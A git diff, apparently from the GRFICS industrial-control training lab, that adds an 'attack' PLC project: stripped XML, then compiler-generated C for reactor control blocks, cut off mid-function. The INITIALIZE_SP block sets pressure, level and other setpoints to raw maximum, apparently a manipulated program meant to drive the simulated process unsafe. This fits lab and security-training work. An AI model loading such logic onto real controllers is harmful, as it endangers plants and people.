+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + 